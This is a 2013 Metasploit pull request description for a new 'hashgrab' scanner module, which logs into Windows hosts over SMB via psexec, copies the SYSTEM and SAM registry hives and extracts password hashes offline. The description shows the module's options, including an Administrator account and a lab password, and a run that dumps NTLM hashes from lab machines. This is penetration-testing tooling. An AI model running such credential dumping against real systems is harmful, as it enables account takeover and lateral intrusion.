rapid7/metasploit-framework — pull request #1673 by R3dy (2013-03-26 23:36:38+00:00)
Title: Added new module auxiliary/scanner/smb/hashgrab

This module uses the psexec mixin to log into the a windows system and download a copy of the SYSTEM and SAM registry hives then extracts the password hashes from them offline on the attacking machine and not the victim.

http://blog.accuvant.com/blog/owning-computers-without-shell-access

msf auxiliary(hashgrab) > show options

Module options (auxiliary/scanner/smb/hashgrab):

Name Current Setting Required Description
---- --------------- -------- -----------
LOGDIR /tmp/msfhashes/local yes This is a directory on your local attacking system used to store Hive files and hashes
RHOSTS 172.16.141.130-145 yes The target address range or CIDR identifier
RPORT 445 yes The Target port
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass @ccuv@ntL@bs! no The password for the specified username
SMBSHARE C$ yes The name of a writeable share on the server
SMBUser Administrator no The username to authenticate as
SYSDRIVE C: yes The root drive letter on the remote host
THREADS 20 yes The number of concurrent threads
WINPATH WINDOWS yes The name of the WINDOWS directory on the remote host

msf auxiliary(hashgrab) > run

[*] 172.16.141.133:445 - Extracting hashes.
[+] Administrator:500:2d2bfb6dfae3a565658562bb86e1e017:f2a5ccba72161a5ffe1a7454d8b1c212:::
[+] Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:e9b889168f6d37d3372b5bb3aa3cf732:::
[*] 172.16.141.142:445 - Extracting hashes.
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:f2a5ccba72161a5ffe1a7454d8b1c212:::
[+] Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] FS:1006:aad3b435b51404eeaad3b435b51404ee:d7ac91c10d4d586a125890218a219e85:::
[+] blah:1015:aad3b435b51404eeaad3b435b51404ee:b82dc32e118cdd518443e83f359f0e69:::
[*] Scanned 09 of 16 hosts (056% complete)
[*] Scanned 11 of 16 hosts (068% complete)
[*] Scanned 16 of 16 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(hashgrab) >